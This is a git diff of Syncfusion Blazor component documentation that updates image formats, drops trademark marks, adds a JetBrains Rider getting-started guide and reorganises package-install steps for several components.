@@ -554,7 +554,7 @@ A baseline tooltip can be customized using the [GanttTooltipSettings.BaselineTem
 
 The following screenshot shows the template for baseline in Gantt Chart.
 
-![Customizing Baseline Tooltip in Blazor Gantt Chart](images/blazor-gantt-chart-baseline-tooltip-customization.png)
+![Customizing Baseline Tooltip in Blazor Gantt Chart](images/blazor-gantt-chart-baseline-tooltip-customization.webp)
 
 ### Manual taskbar tooltip
 
@@ -615,7 +615,7 @@ A manual taskbar tooltip can be customized using the [GanttTooltipSettings.Manua
 }
 ```
 
-![Blazor Gantt Chart displays Manual Taskbar Tooltip](images/blazor-gantt-chart-manual-taskbar-tooltip.png)
+![Blazor Gantt Chart displays Manual Taskbar Tooltip](images/blazor-gantt-chart-manual-taskbar-tooltip.webp)
 
 ### Indicator tooltip
 
@@ -687,7 +687,7 @@ Customizing the indicator tooltip in a Gantt Chart using [GanttTooltipSettings.I
 </style>
 ```
 
-![Blazor Gantt Chart displays Manual Taskbar Tooltip](images/Indicator_Tolltip.png)
+![Blazor Gantt Chart displays Manual Taskbar Tooltip](images/Indicator_Tolltip.webp)
 
 
 
diff --git a/blazor/gantt-chart/template-pdf-export.md b/blazor/gantt-chart/template-pdf-export.md
index dd2ab733cc..f9bbd7550c 100644
--- a/blazor/gantt-chart/template-pdf-export.md
+++ b/blazor/gantt-chart/template-pdf-export.md
@@ -143,7 +143,7 @@ The following code snippet demonstrates how to use the `PdfColumnHeaderQueryCell
     private SfGantt<TaskData> Gantt;
     private List<object> toolbarItem = new List<Object>() { new ToolbarItem() { Text = "PDF Export", TooltipText = "PDF Export", Id = "PdfExport", PrefixIcon = "e-pdfexport" } };
     private static WebClient webClient = new WebClient();
-    private static byte[] imageBytes = webClient.DownloadData("https://cdn.syncfusion.com/content/images/landing-page/yes.png");
+    private static byte[] imageBytes = webClient.DownloadData("https://cdn.syncfusion.com/content/images/landing-page/yes.webp");
     private static MemoryStream imageStream = new MemoryStream(imageBytes);
     public static PdfImage image = PdfImage.FromStream(imageStream);
     protected override void OnInitialized()
@@ -225,7 +225,7 @@ The following example demonstrates how to implement the `PdfQueryTaskbarInfo` ev
                 @if ((context as TaskData).TaskId == 5)
                 {
                     <div class="e-right-label-inner-div" style="height:22px;margin-top:7px;">
-                        <img src="https://cdn.syncfusion.com/content/images/landing-page/yes.png" />
+                        <img src="https://cdn.syncfusion.com/content/images/landing-page/yes.webp" />
                     </div>
                 }
                 else
@@ -274,7 +274,7 @@ The following example demonstrates how to implement the `PdfQueryTaskbarInfo` ev
     private SfGantt<TaskData> Gantt;
     private List<object> toolbarItem = new List<Object>() { new ToolbarItem() { Text = "PDF Export", TooltipText = "PDF Export", Id = "PdfExport", PrefixIcon = "e-pdfexport" } };
     private static WebClient webClient = new WebClient();
-    private static byte[] imageBytes = webClient.DownloadData("https://cdn.syncfusion.com/content/images/landing-page/yes.png");
+    private static byte[] imageBytes = webClient.DownloadData("https://cdn.syncfusion.com/content/images/landing-page/yes.webp");
     private static MemoryStream imageStream = new MemoryStream(imageBytes);
     public static PdfImage image = PdfImage.FromStream(imageStream);
     protected override void OnInitialized()
diff --git a/blazor/getting-started/blazor-electron-app.md b/blazor/getting-started/blazor-electron-app.md
index fc591aca04..a1b1ccd9aa 100644
--- a/blazor/getting-started/blazor-electron-app.md
+++ b/blazor/getting-started/blazor-electron-app.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Creating a Blazor Desktop App with Electron | Syncfusion
-description: Learn to build a cross-platform desktop app using a Blazor Web App (Server) with Electron integrating Syncfusion Blazor DataGrid.
+description: Learn to build a cross-platform desktop app using a Blazor Web App (Server) with Electron integrating Blazor DataGrid.
 platform: Blazor
 component: Common
 documentation: ug
@@ -9,7 +9,7 @@ documentation: ug
 
 # Creating a Blazor Desktop App with Electron
 
-This guide explains how to create a cross-platform desktop application by combining a **Blazor Web App (Server)** with the **[ElectronNET.Core](https://www.nuget.org/packages/ElectronNET.Core)** framework and integrating **[Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** within an Electron‑powered desktop environment.
+This guide explains how to create a cross-platform desktop application by combining a **Blazor Web App (Server)** with the **[ElectronNET.Core](https://www.nuget.org/packages/ElectronNET.Core)** framework and integrating **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** within an Electron‑powered desktop environment.
 
 N> ElectronNET.Core is a community-maintained fork of Electron.NET that supports .NET 6 and later versions (including .NET 8, 9, and 10). It is not an official Microsoft package.
 
@@ -44,7 +44,7 @@ cd BlazorElectronApp
 
 ## Install required packages
 
-From the project folder (where the `.csproj` is located), install the Syncfusion<sup style="font-size:70%">&reg;</sup> **Grid**, **Themes**, and the **ElectronNET.Core** packages.
+From the project folder (where the `.csproj` is located), install the Blazor **Grid**, **Themes**, and the **ElectronNET.Core** packages.
 
  * [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
  * [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
@@ -69,7 +69,7 @@ N> Replace `0.4.1` with the latest stable version. Check [NuGet](https://www.nug
 
 ## Add required namespaces
 
-Add the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor namespaces in `~/_Imports.razor`.
+Add the required Blazor namespaces in `~/_Imports.razor`.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -80,9 +80,9 @@ Add the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor namespa
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> and Electron services
+## Register Blazor and Electron services
 
-Add the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service and configure ElectronNET.Core in your `~/Program.cs` file.
+Add the required Blazor service and configure ElectronNET.Core in your `~/Program.cs` file.
 
 N> Before using the code snippet, update the namespace `BlazorElectronApp` to match your project's root namespace. You can find this in `App.razor` or `_Imports.razor`. For example, if your project is named `MyApp`, use `MyApp.Components.App`.
 
@@ -95,7 +95,7 @@ using ElectronNET.API;
 using ElectronNET.API.Entities;
 ...
 
-// Syncfusion services
+// Blazor services
 builder.Services.AddSyncfusionBlazor();
 // Electron services
 builder.Services.AddElectron();
@@ -132,18 +132,24 @@ app.Run();
 
 ## Add stylesheet and script resources
 
-Before adding the stylesheet, ensure that no other Syncfusion<sup style="font-size:70%">&reg;</sup> theme CSS (for example, bootstrap5.css or material.css) is already referenced to avoid conflicts.
+Before adding the stylesheet, ensure no other Blazor theme CSS (for example, `bootstrap5.css` or `tailwind.css`) is referenced to avoid conflicts.
 
-Add the following stylesheet and script references in `~/App.razor`.
+Add the following Blazor stylesheet and script references to `~/App.razor`.
 
 {% tabs %}
 {% highlight html tabtitle="App.razor" %}
 
-<!-- Syncfusion theme stylesheet -->
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<head>
+    ...
+    <!-- Blazor theme stylesheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+</head>
 
-<!-- Syncfusion Blazor core script (required for most components, including DataGrid) -->
-<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
+<body>
+    ...
+    <!-- Blazor core script (required for most components, including DataGrid) -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
+</body>
 
 {% endhighlight %}
 {% endtabs %}
@@ -201,9 +207,9 @@ ElectronNET.Core uses the `electron-builder.json` file to configure packaging se
 
 {% endtabs %}
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component
+## Add Blazor DataGrid component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component to a `.razor` file within your app. For example, update `~/Components/Pages/Home.razor`.
+Add the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component to a `.razor` file within your app. For example, update `~/Components/Pages/Home.razor`.
 
 {% tabs %}
 {% highlight razor %}
@@ -240,9 +246,14 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid compone
 
 ## Run the application
 
-```
+{% tabs %}
+{% highlight bash tabtitle=".NET CLI" %}
+
 dotnet run
-```
+
+{% endhighlight %}
+{% endtabs %}
+
 ![Blazor Electron App](images/blazor-server-electron.webp)
 
 ## Publish and build desktop packages
diff --git a/blazor/getting-started/blazor-webassembly-jetbrains.md b/blazor/getting-started/blazor-webassembly-jetbrains.md
new file mode 100644
index 0000000000..6190654d89
--- /dev/null
+++ b/blazor/getting-started/blazor-webassembly-jetbrains.md
@@ -0,0 +1,162 @@
+---
+layout: post
+title: Getting Started with Syncfusion® Blazor WASM App in JetBrains Rider
+description: Step-by-step guide to integrate Blazor DataGrid in Blazor WebAssembly Standalone applications in JetBrains Rider.
+platform: Blazor
+control: common
+documentation: ug
+---
+
+# Getting Started with Blazor WASM App in JetBrains Rider 
+
+This guide explains how to create a Blazor WebAssembly application and integrate [Blazor components](https://www.syncfusion.com/blazor-components) in [JetBrains Rider](https://www.jetbrains.com/rider/).
+
+To quickly get started with a Blazor WebAssembly application in JetBrains Rider with Blazor components, watch the following video:
+
+{% youtube
+"youtube:https://www.youtube.com/watch?v=hLBBg-mkC2Y" %}
+
+## Install JetBrains Rider
+
+- Go to the official [JetBrains Rider](https://www.jetbrains.com/rider/) website.
+- Download the installer suitable for your operating system.
+- Run the installer and follow the on‑screen instructions to complete the installation.
+- After installation finishes, launch JetBrains Rider to verify the setup and begin your Blazor development.
+
+## Creating a Blazor application
+
+This section explains how to create a new **Blazor WebAssembly Standalone App** in **JetBrains Rider**.
+
+Follow these steps to create a Blazor application in Rider:
+
+- Open **JetBrains Rider**.
+- On the welcome screen, click **New Solution**.
+- Select the **.NET SDK version** that you want to use.
+- From the available project templates, select **Blazor WebAssembly Standalone App**.
+- Enter your project name.
+- Click **Create** to generate the project.
+
+Once the project is created, Rider opens the solution and restores the required dependencies automatically.
+
+## Adding Blazor NuGet packages
+
+After creating the Blazor project, you must install the required NuGet packages to use Blazor components.
+
+**Install required NuGet packages**
+
+- In the **Solution Explorer**, right click the project name.
+- Select **Manage NuGet Packages** from the context menu.
+- In the Browse tab, search for and install the following packages:
+
+    - [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
+    - [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
+
+Once the installation is complete, the Blazor components are ready to be used in your application.
+
+## Register the Blazor services
+
+Add the Blazor service to the `Program.cs` file to enable Blazor components in the application.
+
+{% tabs %}
+{% highlight c# tabtitle="Program.cs" hl_lines="3 9" %}
+
+using Microsoft.AspNetCore.Components.Web;
+using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+using Syncfusion.Blazor;
+
+var builder =  WebAssemblyHostBuilder.CreateDefault(args);
+builder.RootComponents.Add<App>("#app");
+builder.RootComponents.Add<HeadOutlet>("head::after");
+
+builder.Services.AddSyncfusionBlazor();
+....
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add stylesheet and script resources
+
+To apply styles and enable features, reference the theme CSS and scripts within the `wwwroot/index.html` file.
+
+{% tabs %}
+{% highlight html  %}
+
+<head>
+    ....
+    <!-- Theme stylesheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+    ....
+</head>
+
+<body>
+    ....
+    <!-- Blazor core script (required for UI components, including DataGrid) -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+    ....
+</body>
+
+{% endhighlight %}
+{% endtabs %}
+
+## Connect the Blazor DataGrid
+
+Add the **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** components to a `.razor` file within your app. 
+
+{% tabs %}
+{% highlight razor tabtitle="Pages/Home.razor"  %}
+
+@page "/"
+
+@using Syncfusion.Blazor.Grids
+
+<SfGrid DataSource="@Orders">
+    <GridColumns>
+        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120" />
+        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer ID" Width="100" />
+        <GridColumn Field=@nameof(Order.OrderDate) HeaderText="Order Date" Format="d" Type="ColumnType.Date" Width="100" />
+        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120" />
+    </GridColumns>
+</SfGrid>
+
+@code{
+    public List<Order> Orders { get; set; }
+
+    protected override void OnInitialized()
+    {
+        Orders = Enumerable.Range(1, 12).Select(i => new Order {
+            OrderID = 1000 + i,
+            CustomerID = new[] { "ALFKI","ANATR","ANTON","BLONP","BOLID" }[Random.Shared.Next(5)],
+            OrderDate = DateTime.Today.AddDays(-i),
+            Freight = Math.Round(25 + 15 * Random.Shared.NextDouble(), 2)
+        }).ToList();
+    }
+
+    public class Order
+    {
+        public int OrderID { get; set; }
+        public string? CustomerID { get; set; }
+        public DateTime OrderDate { get; set; }
+        public double Freight { get; set; }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+## Run the application
+
+- In JetBrains Rider, click the **Run** button on the toolbar.
+- Rider builds the project and starts the built‑in development server automatically.
+- Once the application starts, a local URL is displayed in the Run window.
+- The default browser opens the application using this URL. If it does not open automatically, copy the URL and open it manually in a browser.
+
+The app launches and renders the **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** in your default browser.
+
+![Blazor DataGrid in JetBrains Rider](images/jetbrains-datagrid.webp)
+
+## See also
+
+- [Getting started with Blazor DataGrid in WASM App](https://blazor.syncfusion.com/documentation/datagrid/getting-started)
+- [Integrating Blazor Components with Azure Functions](https://blazor.syncfusion.com/documentation/common/integration/blazor-azure-functions)
+- [Blazor WebAssembly with JetBrains Rider and Syncfusion®](https://www.syncfusion.com/webinars/blazor-webassembly-with-jetbrains-rider-and-syncfusion)
+
diff --git a/blazor/getting-started/images/jetbrains-datagrid.webp b/blazor/getting-started/images/jetbrains-datagrid.webp
new file mode 100644
index 0000000000..e11dbbe14e
Binary files /dev/null and b/blazor/getting-started/images/jetbrains-datagrid.webp differ
diff --git a/blazor/getting-started/maui-blazor-web-app.md b/blazor/getting-started/maui-blazor-web-app.md
index c310f6456d..cc152f9abb 100644
--- a/blazor/getting-started/maui-blazor-web-app.md
+++ b/blazor/getting-started/maui-blazor-web-app.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Integrating Syncfusion® Blazor Components in .NET MAUI and Web App
-description: Steps to create a .NET MAUI Blazor Hybrid and Blazor Web App and integrate Syncfusion® Blazor components.
+description: Step-by-step guide to create .NET MAUI Blazor Hybrid and Blazor Web App and integrate Blazor components.
 platform: Blazor
 component: Common
 documentation: ug
@@ -9,15 +9,7 @@ documentation: ug
 
 # Integrating Blazor with .NET MAUI Blazor Hybrid and Web App
 
-This section explains how to create and run a **.NET MAUI Blazor Hybrid App** together with a **Blazor Web App** using [Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) components.
-
-## What is .NET MAUI Blazor Hybrid and Web App?
-
-The **.NET MAUI Blazor Hybrid and Web App** template creates a solution that consists of three projects, including a .NET MAUI Blazor Hybrid App (native), a Blazor Web App (server or WebAssembly), and a Razor Class Library (RCL) to store reusable Blazor components. These shared components can be used across the native MAUI app and the web app, making it easy to build one UI and deploy it across mobile, desktop, and web platforms.
-
-By sharing UI components between native and web apps, this pattern ensures consistent user experiences, maximizes code reuse, and simplifies maintenance for applications targeting multiple environments.
-
-Visual Studio includes the **[.NET MAUI Blazor Hybrid and Web App](https://learn.microsoft.com/en-us/aspnet/core/blazor/hybrid/tutorials/maui-blazor-web-app)** project template. You can use this template to quickly create a .NET MAUI Hybrid App together with a Blazor Web App in one solution.
+This section explains how to create and run a [.NET MAUI Blazor Hybrid and Web App](https://learn.microsoft.com/en-us/aspnet/core/blazor/hybrid/tutorials/maui-blazor-web-app) together with a **Blazor Web App** using [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) components.
 
 ## Create a new .NET MAUI Blazor Hybrid and Blazor Web App in Visual Studio
 
@@ -30,18 +22,18 @@ The template generates the shared RCL, .NET MAUI Blazor Hybrid App, and Blazor W
 
 ![.NET MAUI Blazor Hybrid and Blazor Web App](images/maui/maui-web-app-template.webp)
 
-## Install Syncfusion® Blazor DataGrid and Themes NuGet in the app
+## Install Blazor DataGrid and Themes NuGet in the app
 
-Open the NuGet Package Manager in Visual Studio by selecting (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), and then install the following Syncfusion® NuGet packages.
+Open the NuGet Package Manager in Visual Studio by selecting **(*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*)**, and then install the required packages. All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+**Install the following packages**
 
  * [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
  * [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
 
-N> Syncfusion® Blazor components are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the list of packages and component details.
-
-## Add Syncfusion® namespaces
+## Add required namespaces
 
-Open both of the following files and add the Syncfusion® namespaces.
+Open both of the following files and add the namespaces.
 
 * `~/Components/_Imports.razor` (.NET MAUI Blazor Hybrid App)
 * `~/Components/_Imports.razor` (Blazor Web App)
@@ -55,9 +47,9 @@ Open both of the following files and add the Syncfusion® namespaces.
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion® Blazor service
+## Register Blazor service
 
-Add the Syncfusion® Blazor service in both the `MauiProgram.cs` file of the **.NET MAUI Blazor Hybrid App** and the `~/Program.cs` file of the **Blazor Web App** to enable Syncfusion® components in the application.
+Add the Blazor service in both the `MauiProgram.cs` file of the **.NET MAUI Blazor Hybrid App** and the `~/Program.cs` file of the **Blazor Web App** to enable Blazor components in the application.
 
 {% tabs %}
 {% highlight C# tabtitle="~/MauiProgram.cs" hl_lines="1 4" %}
@@ -86,57 +78,54 @@ Add the Syncfusion® Blazor service in both the `MauiProgram.cs` file of the **.
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Reference the stylesheet and script in the **<head>** of the `~wwwroot/index.html` file of your **.NET MAUI Blazor Hybrid App** and in the `~/Components/App.razor` file of your **Blazor Web App**.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the [stylesheet](https://blazor.syncfusion.com/documentation/appearance/themes) and [script references](https://blazor.syncfusion.com/documentation/common/adding-script-references) in the `~wwwroot/index.html` file of your **.NET MAUI Blazor Hybrid App** and in the `~/Components/App.razor` file of your **Blazor Web App**.
 
 {% tabs %}
 {% highlight html tabtitle="index.html" hl_lines="6 12" %}
 
 <!DOCTYPE html>
 <html lang="en">
-<head>
-  <meta charset="utf-8" />
-  ....
-  <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-</head>
-
-<body>
-  ....
-  <div id="app">Loading...</div>
-  <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-  <script src="_framework/blazor.webview.js" autostart="false"></script>
-</body>
+ <head>
+    <meta charset="utf-8" />
+    ....
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+ </head>
+
+ <body>
+    ....
+    <div id="app">Loading...</div>
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+    <script src="_framework/blazor.webview.js" autostart="false"></script>
+ </body>
 
 </html>
 
 {% endhighlight %}
-{% highlight razor tabtitle="App.razor" hl_lines="7 13" %}
+{% highlight razor tabtitle="App.razor" hl_lines="6 12" %}
 
 <!DOCTYPE html>
 <html lang="en">
-
-<head>
+ <head>
     <meta charset="utf-8" />
     ....
-	<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
     <HeadOutlet />
-</head>
+ </head>
 
-<body>
+ <body>
     <Routes />
-	<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
     <script src="_framework/blazor.web.js"></script>
-</body>
+ </body>
 
 </html>
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
-
-## Add Syncfusion® Blazor DataGrid component
+## Add Blazor DataGrid component
 
-Include the Syncfusion® Blazor **DataGrid** component in any razor file. In this example, the DataGrid component is added in `~/Pages/Home.razor` under the `~/Pages` folder of the `.Shared` App.
+Include the **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** component in any razor file. In this example, the DataGrid component is added in `~/Pages/Home.razor` under the `~/Pages` folder of the `.Shared` App.
 
 {% tabs %}
 {% highlight razor %}
@@ -174,12 +163,11 @@ In the Visual Studio toolbar, select the **Windows Machine** target to build and
 
 N> To run the application on Android or iOS, refer to [MAUI Getting Started](https://learn.microsoft.com/en-us/aspnet/core/blazor/hybrid/tutorials/maui?view=aspnetcore-9.0#run-the-app-in-the-android-emulator) for emulator or device setup.
 
-![MAUI Blazor App with Syncfusion Blazor Components](../common/images/maui-blazor-datagrid.webp)
+![MAUI Blazor App with Blazor Components](../common/images/maui-blazor-datagrid.webp)
 
 N> Download the demo from [GitHub](https://github.com/SyncfusionExamples/MAUI-Blazor-Hybrid-with-Blazor-Web-App-using-Syncfusion-Blazor-Components).
 
 ## See also
 
 * [How to create Diagram Builder in MAUI platform?](https://support.syncfusion.com/kb/article/11346/how-to-create-diagram-builder-in-maui-platform)
-
-N> [View MAUI Blazor Diagram Builder Source Code in GitHub](https://github.com/syncfusion/blazor-showcase-diagram-builder/tree/master/MAUI)
+* [View the MAUI Blazor Diagram Builder Source Code in GitHub](https://github.com/syncfusion/blazor-showcase-diagram-builder/tree/master/MAUI)
\ No newline at end of file
diff --git a/blazor/heatmap-chart/getting-started-with-server-app.md b/blazor/heatmap-chart/getting-started-with-server-app.md
index c7d1c2cb4e..0ed8483522 100644
--- a/blazor/heatmap-chart/getting-started-with-server-app.md
+++ b/blazor/heatmap-chart/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.HeatMap
+
 <SfHeatMap DataSource="@HeatMapData">
     <HeatMapTitleSettings Text="Sales Revenue per Employee (in 1000 US$)"></HeatMapTitleSettings>
     <HeatMapCellSettings ShowLabel="true" TileType="CellType.Rect"></HeatMapCellSettings>
diff --git a/blazor/heatmap-chart/getting-started-with-web-app.md b/blazor/heatmap-chart/getting-started-with-web-app.md
index 0412c22eb3..d5a14aa234 100644
--- a/blazor/heatmap-chart/getting-started-with-web-app.md
+++ b/blazor/heatmap-chart/getting-started-with-web-app.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.HeatMap
+
 <SfHeatMap DataSource="@HeatMapData">
     <HeatMapTitleSettings Text="Sales Revenue per Employee (in 1000 US$)"></HeatMapTitleSettings>
     <HeatMapCellSettings ShowLabel="true" TileType="CellType.Rect"></HeatMapCellSettings>
diff --git a/blazor/image-editor/getting-started-with-server-app.md b/blazor/image-editor/getting-started-with-server-app.md
index c358dd0671..059e6f3690 100644
--- a/blazor/image-editor/getting-started-with-server-app.md
+++ b/blazor/image-editor/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.ImageEditor
+
 <SfImageEditor Height="500"></SfImageEditor>
 
 {% endhighlight %}
diff --git a/blazor/image-editor/getting-started-with-web-app.md b/blazor/image-editor/getting-started-with-web-app.md
index 11c89e44fa..ba2f6388e5 100644
--- a/blazor/image-editor/getting-started-with-web-app.md
+++ b/blazor/image-editor/getting-started-with-web-app.md
@@ -171,6 +171,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.ImageEditor
+
 <SfImageEditor Height="500"></SfImageEditor>
 
 {% endhighlight %}
diff --git a/blazor/image-editor/getting-started.md b/blazor/image-editor/getting-started.md
index 0988c583af..ff4b25e3c3 100644
--- a/blazor/image-editor/getting-started.md
+++ b/blazor/image-editor/getting-started.md
@@ -148,6 +148,8 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Image Editor com
 {% tabs %}
 {% highlight razor tabtitle="~/Index.razor" %}
 
+@using Syncfusion.Blazor.ImageEditor
+
 <SfImageEditor Height="500"></SfImageEditor>
 
 {% endhighlight %}
diff --git a/blazor/kanban/getting-started-with-server-app.md b/blazor/kanban/getting-started-with-server-app.md
index f708ae8164..2a806da647 100644
--- a/blazor/kanban/getting-started-with-server-app.md
+++ b/blazor/kanban/getting-started-with-server-app.md
@@ -23,6 +23,23 @@ This section briefly explains about how to include [Syncfusion<sup style="font-s
 
 Create a **Blazor Server App** by using the **Blazor Web App** template in Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) using Visual Studio's NuGet Package Manager (Tools → NuGet Package Manager → Manage NuGet Packages for Solution).
+
+Alternatively, use the Package Manager Console:
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Kanban -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -48,6 +65,21 @@ cd BlazorApp
 
 {% endtabs %}
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+From the integrated terminal, add the required packages of  [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)  to the project:
+
+{% tabs %}
+{% highlight c# tabtitle="VS Code Terminal" %}
+
+dotnet add package Syncfusion.Blazor.Kanban --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -77,41 +109,26 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-{% endtabcontent %}
-
-{% endtabcontents %}
-
-N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
-
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
-
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
